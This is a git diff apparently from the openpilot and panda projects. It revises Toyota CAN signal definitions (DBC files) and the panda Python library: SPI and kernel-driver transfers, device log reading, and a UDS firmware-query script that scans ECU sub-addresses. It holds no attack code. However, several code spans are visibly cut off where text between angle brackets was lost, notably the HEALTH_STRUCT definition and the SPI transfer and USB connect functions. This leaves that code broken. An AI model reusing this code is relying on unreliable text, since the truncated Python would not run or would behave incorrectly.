SG_ 401 SETME_X3 "almost completely correlates with Toyota Safety Sense version, but may instead describe max torque when using LTA. if TSS 2.5 or 2022 RAV4, this is always 1. if TSS 2.0 this is always 3 (or 0 on Alphard, Highlander, NX)"; CM_ SG_ 550 BRAKE_PRESSURE "seems prop to pedal force"; CM_ SG_ 550 BRAKE_POSITION "seems proportional to pedal displacement, unclear the max value of 0x1c8"; CM_ SG_ 610 TYPE "seems 1 on Corolla, 0 on all others"; +CM_ SG_ 881 GAS_PEDAL "not set on all cars, only seen on TSS 2.5 Camry Hybrid so far"; +CM_ SG_ 881 STEER_ANGLE "matches STEER_TORQUE_SENSOR->STEER_ANGLE"; +CM_ SG_ 881 TURN_SIGNALS "flipped on some cars"; +CM_ SG_ 881 LDA_SA_TOGGLE "not applicable for all cars"; +CM_ SG_ 881 LTA_STEER_REQUEST "only applicable for TSS 2.5: matches STEERING_LTA->STEER_REQUEST"; +CM_ SG_ 881 UNKNOWN "related to steering wheel angle"; +CM_ SG_ 881 STEERING_PRESSED "only applicable for TSS 2.5: low sensitivity steering wheel pressed by driver signal"; CM_ SG_ 1014 L_ADJACENT "vehicle adjacent left side of car. enabled above 10mph, regardless of ADJACENT_ENABLED or APPROACHING_ENABLED"; CM_ SG_ 1014 L_APPROACHING "vehicle approaching from left side of car. enabled above 10mph, regardless of ADJACENT_ENABLED or APPROACHING_ENABLED"; CM_ SG_ 1014 R_ADJACENT "vehicle adjacent right side of car. enabled above 10mph, regardless of ADJACENT_ENABLED or APPROACHING_ENABLED"; @@ -598,6 +635,7 @@ CM_ SG_ 1014 R_APPROACHING "vehicle approaching from right side of car. enabled CM_ SG_ 1014 ADJACENT_ENABLED "when BSM is enabled in settings, this is on along with APPROACHING_ENABLED. this controls bsm alert visibility"; CM_ SG_ 1014 APPROACHING_ENABLED "when BSM is enabled in settings, this is on along with ADJACENT_ENABLED. this controls bsm alert visibility"; +VAL_ 401 SETME_X3 3 "TSS 2.0" 1 "TSS 2.5 or 2022 RAV4" 0 "TSS 2.0 on Alphard, Highlander, NX"; VAL_ 610 IPAS_STATE 5 "override" 3 "enabled" 1 "disabled"; VAL_ 610 LKA_STATE 25 "temporary_fault" 17 "permanent_fault" 11 "lka_missing_unavailable2" 9 "temporary_fault2" 5 "active" 3 "lka_missing_unavailable" 1 "standby"; VAL_ 610 LTA_STATE 25 "temporary_fault" 9 "temporary_fault2" 5 "active" 3 "lta_missing_unavailable" 1 "standby"; diff --git a/opendbc/toyota_tnga_k_pt_generated.dbc b/opendbc/toyota_tnga_k_pt_generated.dbc index e88f8b7f1..bdcd5b02d 100644 --- a/opendbc/toyota_tnga_k_pt_generated.dbc +++ b/opendbc/toyota_tnga_k_pt_generated.dbc @@ -88,7 +88,7 @@ BU_: XXX DSU HCU EPS IPAS CGW BGM BO_ 36 KINEMATICS: 8 XXX SG_ ACCEL_Y : 33|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX SG_ YAW_RATE : 1|10@0+ (0.244,-125) [0|65535] "deg/s" XXX - SG_ STEERING_TORQUE : 17|10@0+ (1,-512) [0|65535] "" XXX + SG_ ACCEL_X : 17|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX BO_ 37 STEER_ANGLE_SENSOR: 8 XXX SG_ STEER_ANGLE : 3|12@0- (1.5,0) [-500|500] "deg" XXX @@ -125,8 +125,9 @@ BO_ 452 ENGINE_RPM: 8 CGW BO_ 466 PCM_CRUISE: 8 XXX SG_ GAS_RELEASED : 4|1@0+ (1,0) [0|1] "" XXX SG_ CRUISE_ACTIVE : 5|1@0+ (1,0) [0|1] "" XXX - SG_ STANDSTILL_ON : 12|1@0+ (1,0) [0|1] "" XXX - SG_ ACCEL_NET : 23|16@0- (0.001,0) [-20|20] "m/s^2" XXX + SG_ ACC_BRAKING : 12|1@0+ (1,0) [0|1] "" XXX + SG_ ACCEL_NET : 23|16@0- (0.0009765625,0) [-20|20] "m/s^2" XXX + SG_ NEUTRAL_FORCE : 39|16@0- (2,0) [-65536|65534] "N" XXX SG_ CRUISE_STATE : 55|4@0+ (1,0) [0|15] "" XXX SG_ CANCEL_REQ : 49|1@1+ (1,0) [0|1] "" XXX SG_ CHECKSUM : 63|8@0+ (1,0) [0|255] "" XXX @@ -267,8 +268,13 @@ BO_ 1041 ACC_HUD: 8 DSU SG_ PCS_INDICATOR : 7|2@0+ (1,0) [0|3] "" XXX SG_ FCW : 4|1@0+ (1,0) [0|1] "" XXX SG_ SET_ME_X20 : 15|8@0+ (1,0) [0|1] "" XXX + SG_ PCS_DUST : 34|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP : 35|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_DUST2 : 41|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP2 : 42|1@0+ (1,0) [0|0] "" XXX SG_ SET_ME_X10 : 39|8@0+ (1,0) [0|1] "" XXX SG_ PCS_OFF : 40|1@0+ (1,0) [0|0] "" XXX + SG_ FRD_ADJ : 53|3@0+ (1,0) [0|0] "" XXX SG_ PCS_SENSITIVITY : 55|8@0+ (1,0) [0|1] "" XXX BO_ 1042 LKAS_HUD: 8 DSU @@ -285,7 +291,7 @@ BO_ 1042 LKAS_HUD: 8 DSU SG_ LDA_UNAVAILABLE : 16|1@0+ (1,0) [0|1] "" XXX SG_ LDA_SENSITIVITY : 18|2@0+ (1,0) [0|3] "" XXX SG_ LDA_SA_TOGGLE : 20|2@0+ (1,0) [0|3] "" XXX - SG_ LDA_SPEED_TOO_LOW : 21|1@0+ (1,0) [0|1] "" XXX + SG_ LDA_MESSAGES : 23|3@0+ (1,0) [0|1] "" XXX SG_ LDA_ON_MESSAGE : 31|2@0+ (1,0) [0|3] "" XXX SG_ REPEATED_BEEPS : 32|1@0+ (1,0) [0|1] "" XXX SG_ LANE_SWAY_TOGGLE : 43|1@0+ (1,0) [0|1] "" XXX @@ -309,6 +315,11 @@ BO_ 1043 TIME : 8 CGW SG_ GMTDIFF_MINUTES : 50|6@0+ (1,0) [0|0] "minutes" XXX SG_ SUMMER : 60|1@0+ (1,0) [0|0] "" XXX +BO_ 1044 AUTO_HIGH_BEAM: 8 FCM + SG_ AHB_DUTY : 47|8@0+ (0.5,0) [0|0] "%" Vector__XXX + SG_ F_AHB : 55|4@0+ (1,0) [0|0] "" Vector__XXX + SG_ C_AHB : 51|4@0+ (1,0) [0|0] "" Vector__XXX + BO_ 1083 AUTOPARK_STATUS: 8 IPAS SG_ STATE : 7|4@0+ (1,0) [0|15] "" XXX @@ -422,6 +433,8 @@ CM_ SG_ 36 YAW_RATE "verify"; CM_ SG_ 36 STEERING_TORQUE "does not seem the steer torque, tbd"; CM_ SG_ 37 STEER_FRACTION "1/15th of the signal STEER_ANGLE, which is 1.5 deg; note that 0x8 is never set"; CM_ SG_ 37 STEER_RATE "factor is tbd"; +CM_ SG_ 466 NEUTRAL_FORCE "force in newtons the engine/electric motors are applying without any acceleration commands or user input"; +CM_ SG_ 466 ACC_BRAKING "whether brakes are being actuated from ACC command"; CM_ SG_ 466 ACCEL_NET "net acceleration produced by the system, given ACCEL_CMD, road grade and other factors"; CM_ SG_ 466 CRUISE_STATE "Active state is 8, if standstill is requested will switch to state 11(3 sec timer), after timer is elapsed will switch into state 7(standstill). If plus button was pressed - status 9, minus button pressed - status 10"; CM_ SG_ 467 ACC_FAULTED "1 when ACC is faulted and the PCM disallows engagement"; @@ -454,13 +467,18 @@ CM_ SG_ 956 GEAR "on 6MT, only R shows."; CM_ SG_ 1009 UI_SET_SPEED "units seem to be whatever the car is set to"; CM_ SG_ 1041 PCS_INDICATOR "Pre-Collision System Indicator"; CM_ SG_ 1041 PCS_SENSITIVITY "Pre-Collision System Sensitivity"; +CM_ SG_ 1041 PCS_DUST "alert: Front Camera Low Visibility Unavailable See Owner's Manual"; +CM_ SG_ 1041 PCS_DUST2 "alert: Pre-Collision System Radar Sensor Blocked Unavailable Clean Radar Sensor"; +CM_ SG_ 1041 PCS_TEMP "alert: Front Camera Out of Temperature Range Unavailable Wait until Normal Temperature"; +CM_ SG_ 1041 PCS_TEMP2 "alert: Pre-Collision System Out of Temperature Range Unavailable See Owner's Manual"; +CM_ SG_ 1041 FRD_ADJ "alert: ERROR ADJUSTING FRONT RADAR BEAM"; CM_ SG_ 1042 LDA_SA_TOGGLE "LDA Steering Assist Toggle"; CM_ SG_ 1042 LDW_EXIST "Unclear what this is, it's usually set to 0"; CM_ SG_ 1042 LDA_SENSITIVITY "LDA Sensitivity"; CM_ SG_ 1042 LDA_ON_MESSAGE "Display LDA Turned ON message"; CM_ SG_ 1042 REPEATED_BEEPS "LDA audible warning"; CM_ SG_ 1042 LDA_UNAVAILABLE_QUIET "LDA toggles and sensitivity settings are greyed out if set to 1"; -CM_ SG_ 1042 LDA_SPEED_TOO_LOW "length is 3 bits in the leaked DBC, displays LDA unavailable below approx 50 km/h if set to 1"; +CM_ SG_ 1042 LDA_MESSAGES "Various LDA Messages"; CM_ SG_ 1042 LDA_FRONT_CAMERA_BLOCKED "originally LDAFCVB, LDA related settings are greyed out if set to 1"; CM_ SG_ 1042 TAKE_CONTROL "Please Control Steering Wheel warning"; CM_ SG_ 1042 LANE_SWAY_TOGGLE "Lane Sway Warning System SWS Switch"; @@ -524,7 +542,7 @@ VAL_ 1042 LEFT_LINE 3 "orange" 2 "faded" 1 "solid" 0 "none"; VAL_ 1042 LDA_ON_MESSAGE 2 "Lane Departure Alert Turned ON, Steering Assist Inactive" 1 "Lane Departure Alert Turned ON, Steering Assist Active" 0 "clear"; VAL_ 1042 LDA_SA_TOGGLE 2 "steering assist off" 1 "steering assist on"; VAL_ 1042 LDA_SENSITIVITY 2 "standard" 1 "high" 0 "undefined"; -VAL_ 1042 LDA_SPEED_TOO_LOW 1 "lda unavailable, speed too low" 0 "ok"; +VAL_ 1042 LDA_MESSAGES 4 "lda unavailable at this speed" 1 "lda unavailable below approx 50km/h" 0 "ok"; VAL_ 1042 LDA_FRONT_CAMERA_BLOCKED 1 "lda unavailable" 0 "ok"; VAL_ 1042 TAKE_CONTROL 1 "take control" 0 "ok"; VAL_ 1042 LANE_SWAY_WARNING 3 "ok" 2 "orange please take a break" 1 "prompt would you like to take a break" 0 "ok"; diff --git a/panda/.gitignore b/panda/.gitignore index 403d034ee..a3f6520bf 100644 --- a/panda/.gitignore +++ b/panda/.gitignore @@ -1,3 +1,4 @@ +*.tmp *.pyc .*.swp .*.swo diff --git a/panda/__init__.py b/panda/__init__.py index d3a558f43..dfb2bbf1c 100644 --- a/panda/__init__.py +++ b/panda/__init__.py @@ -1,5 +1,6 @@ -from .python.constants import McuType, BASEDIR, FW_PATH # noqa: F401 +from .python.constants import McuType, BASEDIR, FW_PATH, USBPACKET_MAX_SIZE # noqa: F401 +from .python.spi import PandaSpiException, PandaProtocolMismatch # noqa: F401 from .python.serial import PandaSerial # noqa: F401 from .python import (Panda, PandaDFU, # noqa: F401 - pack_can_buffer, unpack_can_buffer, calculate_checksum, - DLC_TO_LEN, LEN_TO_DLC, ALTERNATIVE_EXPERIENCE, USBPACKET_MAX_SIZE, CANPACKET_HEAD_SIZE) + pack_can_buffer, unpack_can_buffer, calculate_checksum, unpack_log, + DLC_TO_LEN, LEN_TO_DLC, ALTERNATIVE_EXPERIENCE, CANPACKET_HEAD_SIZE) diff --git a/panda/board/obj/bootstub.panda.bin b/panda/board/obj/bootstub.panda.bin index 2d0627775..3dec729a3 100755 Binary files a/panda/board/obj/bootstub.panda.bin and b/panda/board/obj/bootstub.panda.bin differ diff --git a/panda/board/obj/panda.bin.signed b/panda/board/obj/panda.bin.signed index 5321926fd..4757b2938 100644 Binary files a/panda/board/obj/panda.bin.signed and b/panda/board/obj/panda.bin.signed differ diff --git a/panda/examples/query_fw_versions.py b/panda/examples/query_fw_versions.py index 82a204185..4f4e3fa66 100755 --- a/panda/examples/query_fw_versions.py +++ b/panda/examples/query_fw_versions.py @@ -1,8 +1,10 @@ #!/usr/bin/env python3 import argparse +from typing import List, Optional from tqdm import tqdm from panda import Panda -from panda.python.uds import UdsClient, MessageTimeoutError, NegativeResponseError, SESSION_TYPE, DATA_IDENTIFIER_TYPE +from panda.python.uds import UdsClient, MessageTimeoutError, NegativeResponseError, InvalidSubAddressError, \ + SESSION_TYPE, DATA_IDENTIFIER_TYPE if __name__ == "__main__": parser = argparse.ArgumentParser() @@ -11,6 +13,7 @@ if __name__ == "__main__": parser.add_argument("--no-obd", action="store_true", help="Bus 1 will not be multiplexed to the OBD-II port") parser.add_argument("--debug", action="store_true") parser.add_argument("--addr") + parser.add_argument("--sub_addr", "--subaddr", help="A hex sub-address or `scan` to scan the full sub-address range") parser.add_argument("--bus") parser.add_argument('-s', '--serial', help="Serial number of panda to use") args = parser.parse_args() @@ -22,6 +25,17 @@ if __name__ == "__main__": addrs += [0x18da0000 + (i << 8) + 0xf1 for i in range(256)] results = {} + sub_addrs: List[Optional[int]] = [None] + if args.sub_addr: + if args.sub_addr == "scan": + sub_addrs = list(range(0xff + 1)) + else: + sub_addrs = [int(args.sub_addr, base=16)] + if sub_addrs[0] > 0xff: # type: ignore + print(f"Invalid sub-address: 0x{sub_addrs[0]:X}, needs to be in range 0x0 to 0xff") + parser.print_help() + exit() + uds_data_ids = {} for std_id in DATA_IDENTIFIER_TYPE: uds_data_ids[std_id.value] = std_id.name @@ -51,42 +65,50 @@ if __name__ == "__main__": # skip functional broadcast addrs if addr == 0x7df or addr == 0x18db33f1: continue - t.set_description(hex(addr)) if args.bus: bus = int(args.bus) else: bus = 1 if panda.has_obd() else 0 rx_addr = addr + int(args.rxoffset, base=16) if args.rxoffset else None - uds_client = UdsClient(panda, addr, rx_addr, bus, timeout=0.2, debug=args.debug) - # Check for anything alive at this address, and switch to the highest - # available diagnostic session without security access - try: - uds_client.tester_present() - uds_client.diagnostic_session_control(SESSION_TYPE.DEFAULT) - uds_client.diagnostic_session_control(SESSION_TYPE.EXTENDED_DIAGNOSTIC) - except NegativeResponseError: - pass - except MessageTimeoutError: - continue - # Run queries against all standard UDS data identifiers, plus selected - # non-standardized identifier ranges if requested - resp = {} - for uds_data_id in sorted(uds_data_ids): + # Try all sub-addresses for addr. By default, this is None + for sub_addr in sub_addrs: + sub_addr_str = hex(sub_addr) if sub_addr is not None else None + t.set_description(f"{hex(addr)}, {sub_addr_str}") + uds_client = UdsClient(panda, addr, rx_addr, bus, sub_addr=sub_addr, timeout=0.2, debug=args.debug) + # Check for anything alive at this address, and switch to the highest + # available diagnostic session without security access try: - data = uds_client.read_data_by_identifier(uds_data_id) # type: ignore - if data: - resp[uds_data_id] = data - except (NegativeResponseError, MessageTimeoutError): + uds_client.tester_present() + uds_client.diagnostic_session_control(SESSION_TYPE.DEFAULT) + uds_client.diagnostic_session_control(SESSION_TYPE.EXTENDED_DIAGNOSTIC) + except NegativeResponseError: pass + except MessageTimeoutError: + continue + except InvalidSubAddressError as e: + print(f'*** Skipping address {hex(addr)}: {e}') + break - if resp.keys(): - results[addr] = resp + # Run queries against all standard UDS data identifiers, plus selected + # non-standardized identifier ranges if requested + resp = {} + for uds_data_id in sorted(uds_data_ids): + try: + data = uds_client.read_data_by_identifier(uds_data_id) # type: ignore + if data: + resp[uds_data_id] = data + except (NegativeResponseError, MessageTimeoutError, InvalidSubAddressError): + pass + + if resp.keys(): + results[(addr, sub_addr)] = resp if len(results.items()): - for addr, resp in results.items(): - print(f"\n\n*** Results for address 0x{addr:X} ***\n\n") + for (addr, sub_addr), resp in results.items(): + sub_addr_str = f", sub-address 0x{sub_addr:X}" if sub_addr is not None else "" + print(f"\n\n*** Results for address 0x{addr:X}{sub_addr_str} ***\n\n") for rid, dat in resp.items(): print(f"0x{rid:02X} {uds_data_ids[rid]}: {dat}") else: diff --git a/panda/python/__init__.py b/panda/python/__init__.py index ccef44300..ae99d7126 100644 --- a/panda/python/__init__.py +++ b/panda/python/__init__.py @@ -17,7 +17,7 @@ from .base import BaseHandle from .constants import FW_PATH, McuType from .dfu import PandaDFU from .isotp import isotp_send, isotp_recv -from .spi import PandaSpiHandle, PandaSpiException +from .spi import PandaSpiHandle, PandaSpiException, PandaProtocolMismatch from .usb import PandaUsbHandle __version__ = '0.0.10' @@ -26,7 +26,6 @@ __version__ = '0.0.10' LOGLEVEL = os.environ.get('LOGLEVEL', 'INFO').upper() logging.basicConfig(level=LOGLEVEL, format='%(message)s') -USBPACKET_MAX_SIZE = 0x40 CANPACKET_HEAD_SIZE = 0x6 DLC_TO_LEN = [0, 1, 2, 3, 4, 5, 6, 7, 8, 12, 16, 20, 24, 32, 48, 64] LEN_TO_DLC = {length: dlc for (dlc, length) in enumerate(DLC_TO_LEN)} @@ -122,6 +121,24 @@ def ensure_can_health_packet_version(fn): return fn(self, *args, **kwargs) return wrapper +def parse_timestamp(dat): + a = struct.unpack("HBBBBBB", dat) + if a[0] == 0: + return None + + try: + return datetime.datetime(a[0], a[1], a[2], a[4], a[5], a[6]) + except ValueError: + return None + +def unpack_log(dat): + return { + 'id': struct.unpack("H", dat[:2])[0], + 'timestamp': parse_timestamp(dat[2:10]), + 'uptime': struct.unpack("I", dat[10:14])[0], + 'msg': bytes(dat[14:]).decode('utf-8', 'ignore').strip('\x00'), + } + class ALTERNATIVE_EXPERIENCE: DEFAULT = 0 DISABLE_DISENGAGE_ON_GAS = 1 @@ -184,12 +201,12 @@ class Panda: CAN_PACKET_VERSION = 4 HEALTH_PACKET_VERSION = 14 - CAN_HEALTH_PACKET_VERSION = 4 - # dp - 2 extra "B" at the end: + CAN_HEALTH_PACKET_VERSION = 5 + #dp - 2 extra "B" at the end: # "usb_power_mode": a[23], # "torque_interceptor_detected": a[24], HEALTH_STRUCT = struct.Struct("> 8, ]) + # bcdDevice wasn't always set to the hw type, ignore if it's the old constant + this_bcd = device.getbcdDevice() + if this_bcd is not None and this_bcd != 0x2300: + bcd = bytearray([this_bcd >> 8, ]) - break - except Exception: - logging.exception("USB connect error") - if not wait or handle is not None: - break - context.close() + break + except Exception: + logging.exception("USB connect error") usb_handle = None if handle is not None: usb_handle = PandaUsbHandle(handle) + else: + context.close() return usb_handle, usb_serial, bootstub, bcd @@ -399,7 +439,7 @@ class Panda: @staticmethod def spi_list(): - _, serial, _, _ = Panda.spi_connect(None) + _, serial, _, _ = Panda.spi_connect(None, ignore_version=True) if serial is not None: return [serial, ] return [] @@ -409,12 +449,12 @@ class Panda: timeout = 5000 if isinstance(self._handle, PandaSpiHandle) else 15000 try: if enter_bootloader: - self._handle.controlWrite(Panda.REQUEST_IN, 0xd1, 0, 0, b'', timeout=timeout) + self._handle.controlWrite(Panda.REQUEST_IN, 0xd1, 0, 0, b'', timeout=timeout, expect_disconnect=True) else: if enter_bootstub: - self._handle.controlWrite(Panda.REQUEST_IN, 0xd1, 1, 0, b'', timeout=timeout) + self._handle.controlWrite(Panda.REQUEST_IN, 0xd1, 1, 0, b'', timeout=timeout, expect_disconnect=True) else: - self._handle.controlWrite(Panda.REQUEST_IN, 0xd8, 0, 0, b'', timeout=timeout) + self._handle.controlWrite(Panda.REQUEST_IN, 0xd8, 0, 0, b'', timeout=timeout, expect_disconnect=True) except Exception: pass if not enter_bootloader and reconnect: @@ -483,7 +523,7 @@ class Panda: # reset logging.warning("flash: resetting") try: - handle.controlWrite(Panda.REQUEST_IN, 0xd8, 0, 0, b'') + handle.controlWrite(Panda.REQUEST_IN, 0xd8, 0, 0, b'', expect_disconnect=True) except Exception: pass @@ -540,6 +580,18 @@ class Panda: dfu_list = PandaDFU.list() return True + @staticmethod + def wait_for_panda(serial: Optional[str], timeout: int) -> bool: + t_start = time.monotonic() + serials = Panda.list() + while (serial is None and len(serials) == 0) or (serial is not None and serial not in serials): + logging.debug("waiting for panda...") + time.sleep(0.1) + if timeout is not None and (time.monotonic() - t_start) > timeout: + return False + serials = Panda.list() + return True + def up_to_date(self) -> bool: current = self.get_signature() fn = os.path.join(FW_PATH, self.get_mcu_type().config.app_fn) @@ -624,6 +676,10 @@ class Panda: "canfd_enabled": a[19], "brs_enabled": a[20], "canfd_non_iso": a[21], + "irq0_call_rate": a[22], + "irq1_call_rate": a[23], + "irq2_call_rate": a[24], + "can_core_reset_count": a[25], } # ******************* control ******************* @@ -710,6 +766,10 @@ class Panda: def get_secret(self): return self._handle.controlRead(Panda.REQUEST_IN, 0xd0, 1, 0, 0x10) + def get_interrupt_call_rate(self, irqnum): + dat = self._handle.controlRead(Panda.REQUEST_IN, 0xc4, int(irqnum), 0, 4) + return struct.unpack("I", dat)[0] + # ******************* configuration ******************* def set_power_save(self, power_save_enabled=0): @@ -933,8 +993,7 @@ class Panda: def get_datetime(self): dat = self._handle.controlRead(Panda.REQUEST_IN, 0xa0, 0, 0, 8) - a = struct.unpack("HBBBBBB", dat) - return datetime.datetime(a[0], a[1], a[2], a[4], a[5], a[6]) + return parse_timestamp(dat) # ****************** Timer ***************** def get_microsecond_timer(self): @@ -965,3 +1024,15 @@ class Panda: # ****************** Debug ***************** def set_green_led(self, enabled): self._handle.controlWrite(Panda.REQUEST_OUT, 0xf7, int(enabled), 0, b'') + + # ****************** Logging ***************** + def get_logs(self, last_id=None, get_all=False): + assert (last_id is None) or (0 <= last_id < 0xFFFF) + + logs = [] + dat = self._handle.controlRead(Panda.REQUEST_IN, 0xfd, 1 if get_all else 0, last_id if last_id is not None else 0xFFFF, 0x40) + while len(dat) > 0: + if len(dat) == 0x40: + logs.append(unpack_log(dat)) + dat = self._handle.controlRead(Panda.REQUEST_IN, 0xfd, 0, 0xFFFF, 0x40) + return logs diff --git a/panda/python/base.py b/panda/python/base.py index 5bfa56489..d19a2b861 100644 --- a/panda/python/base.py +++ b/panda/python/base.py @@ -1,5 +1,4 @@ from abc import ABC, abstractmethod -from typing import List from .constants import McuType @@ -24,7 +23,7 @@ class BaseHandle(ABC): ... @abstractmethod - def bulkWrite(self, endpoint: int, data: List[int], timeout: int = TIMEOUT) -> int: + def bulkWrite(self, endpoint: int, data: bytes, timeout: int = TIMEOUT) -> int: ... @abstractmethod diff --git a/panda/python/constants.py b/panda/python/constants.py index 4c3e778ad..16409ac31 100644 --- a/panda/python/constants.py +++ b/panda/python/constants.py @@ -5,6 +5,8 @@ from typing import List, NamedTuple BASEDIR = os.path.join(os.path.dirname(os.path.realpath(__file__)), "../") FW_PATH = os.path.join(BASEDIR, "board/obj/") +USBPACKET_MAX_SIZE = 0x40 + class McuConfig(NamedTuple): mcu: str mcu_idcode: int diff --git a/panda/python/spi.py b/panda/python/spi.py index 8a0fe5cc9..ad0225b1e 100644 --- a/panda/python/spi.py +++ b/panda/python/spi.py @@ -1,4 +1,5 @@ import binascii +import ctypes import os import fcntl import math @@ -8,15 +9,18 @@ import logging import threading from contextlib import contextmanager from functools import reduce -from typing import List, Optional +from typing import Callable, List, Optional from .base import BaseHandle, BaseSTBootloaderHandle, TIMEOUT -from .constants import McuType, MCU_TYPE_BY_IDCODE +from .constants import McuType, MCU_TYPE_BY_IDCODE, USBPACKET_MAX_SIZE +from .utils import crc8_pedal try: import spidev + import spidev2 except ImportError: spidev = None + spidev2 = None # Constants SYNC = 0x5A @@ -28,7 +32,7 @@ CHECKSUM_START = 0xAB MIN_ACK_TIMEOUT_MS = 100 MAX_XFER_RETRY_COUNT = 5 -XFER_SIZE = 1000 +XFER_SIZE = 0x40*31 DEV_PATH = "/dev/spidev0.0" @@ -36,6 +40,9 @@ DEV_PATH = "/dev/spidev0.0" class PandaSpiException(Exception): pass +class PandaProtocolMismatch(PandaSpiException): + pass + class PandaSpiUnavailable(PandaSpiException): pass @@ -54,6 +61,17 @@ class PandaSpiTransferFailed(PandaSpiException): SPI_LOCK = threading.Lock() +class PandaSpiTransfer(ctypes.Structure): + _fields_ = [ + ('rx_buf', ctypes.c_uint64), + ('tx_buf', ctypes.c_uint64), + ('tx_length', ctypes.c_uint32), + ('rx_length_max', ctypes.c_uint32), + ('timeout', ctypes.c_uint32), + ('endpoint', ctypes.c_uint8), + ('expect_disconnect', ctypes.c_uint8), + ] + class SpiDevice: """ Provides locked, thread-safe access to a panda's SPI interface. @@ -89,107 +107,186 @@ class SpiDevice: self._spidev.close() + class PandaSpiHandle(BaseHandle): """ A class that mimics a libusb1 handle for panda SPI communications. """ - def __init__(self): + + PROTOCOL_VERSION = 2 + + def __init__(self) -> None: self.dev = SpiDevice() + self._transfer_raw: Callable[[SpiDevice, int, bytes, int, int, bool], bytes] = self._transfer_spidev + + if "KERN" in os.environ: + self._transfer_raw = self._transfer_kernel_driver + + self.tx_buf = bytearray(1024) + self.rx_buf = bytearray(1024) + tx_buf_raw = ctypes.c_char.from_buffer(self.tx_buf) + rx_buf_raw = ctypes.c_char.from_buffer(self.rx_buf) + + self.ioctl_data = PandaSpiTransfer() + self.ioctl_data.tx_buf = ctypes.addressof(tx_buf_raw) + self.ioctl_data.rx_buf = ctypes.addressof(rx_buf_raw) + self.fileno = self.dev._spidev.fileno() + # helpers - def _calc_checksum(self, data: List[int]) -> int: + def _calc_checksum(self, data: bytes) -> int: cksum = CHECKSUM_START for b in data: cksum ^= b return cksum - def _wait_for_ack(self, spi, ack_val: int, timeout: int, tx: int) -> None: + def _wait_for_ack(self, spi, ack_val: int, timeout: int, tx: int, length: int = 1) -> bytes: timeout_s = max(MIN_ACK_TIMEOUT_MS, timeout) * 1e-3 start = time.monotonic() while (timeout == 0) or ((time.monotonic() - start) < timeout_s): - dat = spi.xfer2([tx, ])[0] - if dat == NACK: + dat = spi.xfer2([tx, ] * length) + if dat[0] == NACK: raise PandaSpiNackResponse - elif dat == ack_val: - return + elif dat[0] == ack_val: + return bytes(dat) raise PandaSpiMissingAck - def _transfer(self, spi, endpoint: int, data, timeout: int, max_rx_len: int = 1000) -> bytes: + def _transfer_spidev(self, spi, endpoint: int, data, timeout: int, max_rx_len: int = 1000, expect_disconnect: bool = False) -> bytes: + max_rx_len = max(USBPACKET_MAX_SIZE, max_rx_len) + + logging.debug("- send header") + packet = struct.pack(" max_rx_len: + raise PandaSpiException(f"response length greater than max ({max_rx_len} {response_len})") + + # read rest + remaining = (response_len + 1) - preread_len + if remaining > 0: + dat += bytes(spi.readbytes(remaining)) + + + dat = dat[:3 + response_len + 1] + if self._calc_checksum(dat) != 0: + raise PandaSpiBadChecksum + + return dat[3:-1] + + def _transfer_kernel_driver(self, spi, endpoint: int, data, timeout: int, max_rx_len: int = 1000, expect_disconnect: bool = False) -> bytes: + self.tx_buf[:len(data)] = data + self.ioctl_data.endpoint = endpoint + self.ioctl_data.tx_length = len(data) + self.ioctl_data.rx_length_max = max_rx_len + self.ioctl_data.expect_disconnect = int(expect_disconnect) + + # TODO: use our own ioctl request + try: + ret = fcntl.ioctl(self.fileno, spidev2.SPI_IOC_RD_LSB_FIRST, self.ioctl_data) + except OSError as e: + raise PandaSpiException from e + if ret < 0: + raise PandaSpiException(f"ioctl returned {ret}") + return bytes(self.rx_buf[:ret]) + + def _transfer(self, endpoint: int, data, timeout: int, max_rx_len: int = 1000, expect_disconnect: bool = False) -> bytes: logging.debug("starting transfer: endpoint=%d, max_rx_len=%d", endpoint, max_rx_len) logging.debug("==============================================") n = 0 start_time = time.monotonic() exc = PandaSpiException() - while (time.monotonic() - start_time) < timeout*1e-3: + while (timeout == 0) or (time.monotonic() - start_time) < timeout*1e-3: n += 1 - logging.debug("\ntry #%d", n+1) - try: - logging.debug("- send header") - packet = struct.pack(" bytes: + vers_str = b"VERSION" + def _get_version(spi) -> bytes: + spi.writebytes(vers_str) - to = timeout - (time.monotonic() - start_time)*1e3 - logging.debug("- waiting for data ACK") - self._wait_for_ack(spi, DACK, int(to), 0x13) + logging.debug("- waiting for echo") + start = time.monotonic() + while True: + version_bytes = spi.readbytes(len(vers_str) + 2) + if bytes(version_bytes).startswith(vers_str): + break + if (time.monotonic() - start) > 0.01: + raise PandaSpiMissingAck - # get response length, then response - response_len_bytes = bytes(spi.xfer2(b"\x00" * 2)) - response_len = struct.unpack(" max_rx_len: - raise PandaSpiException("response length greater than max") + rlen = struct.unpack(" 1000: + raise PandaSpiException("response length greater than max") - logging.debug("- receiving response") - dat = bytes(spi.xfer2(b"\x00" * (response_len + 1))) - if self._calc_checksum([DACK, *response_len_bytes, *dat]) != 0: - raise PandaSpiBadChecksum + # get response + dat = spi.readbytes(rlen + 1) + resp = dat[:-1] + calculated_crc = crc8_pedal(bytes(version_bytes + resp)) + if calculated_crc != dat[-1]: + raise PandaSpiBadChecksum + return bytes(resp) - return dat[:-1] - except PandaSpiException as e: - exc = e - logging.debug("SPI transfer failed, retrying", exc_info=True) + exc = PandaSpiException() + with self.dev.acquire() as spi: + for _ in range(10): + try: + return _get_version(spi) + except PandaSpiException as e: + exc = e + logging.debug("SPI get protocol version failed, retrying", exc_info=True) raise exc # libusb1 functions def close(self): self.dev.close() - def controlWrite(self, request_type: int, request: int, value: int, index: int, data, timeout: int = TIMEOUT): - with self.dev.acquire() as spi: - return self._transfer(spi, 0, struct.pack(" int: - with self.dev.acquire() as spi: - for x in range(math.ceil(len(data) / XFER_SIZE)): - self._transfer(spi, endpoint, data[XFER_SIZE*x:XFER_SIZE*(x+1)], timeout) - return len(data) + def bulkWrite(self, endpoint: int, data: bytes, timeout: int = TIMEOUT) -> int: + for x in range(math.ceil(len(data) / XFER_SIZE)): + self._transfer(endpoint, data[XFER_SIZE*x:XFER_SIZE*(x+1)], timeout) + return len(data) def bulkRead(self, endpoint: int, length: int, timeout: int = TIMEOUT) -> bytes: - ret: List[int] = [] - with self.dev.acquire() as spi: - for _ in range(math.ceil(length / XFER_SIZE)): - d = self._transfer(spi, endpoint, [], timeout, max_rx_len=XFER_SIZE) - ret += d - if len(d) < XFER_SIZE: - break - 